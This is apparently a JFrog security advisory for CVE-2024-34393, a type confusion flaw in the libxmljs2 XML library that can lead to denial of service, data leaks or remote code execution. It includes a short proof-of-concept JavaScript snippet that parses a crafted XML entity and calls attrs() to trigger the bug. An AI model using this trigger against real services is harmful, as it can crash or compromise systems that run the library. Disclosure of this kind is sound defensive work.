JFrog Security Research
< Back

JFSA-2024-001034097 - libxmljs2 attrs type confusion RCE

CVE-2024-34393 | CVSS 8.1

JFrog Severity:high

Discovered ByUriya Yavnieliof the JFrog Security Research Team

Published 2 May, 2024 | Last updated 2 May, 2024

libxmljs2 attrs type confusion RCE

libxmljs2

(,)

libxmljs2 is vulnerable to a type confusion vulnerability when parsing a specially crafted XML while invoking a function on the result of attrs() that was called on a parsed node. This vulnerability might lead to denial of service (on both 32-bit systems and 64-bit systems), data leak, infinite loop and remote code execution (on 32-bit systems with the XML_PARSE_HUGE flag enabled).

const libxmljs2 = require('libxmljs2');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer `" + 'A'.repeat(0x1234) + `">
]>
<from>&writer;</from>
`;

t = libxmljs2.parseXml(d, {flags: [libxmljs2.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

No mitigations are supplied for this issue

Original Advisory

< Back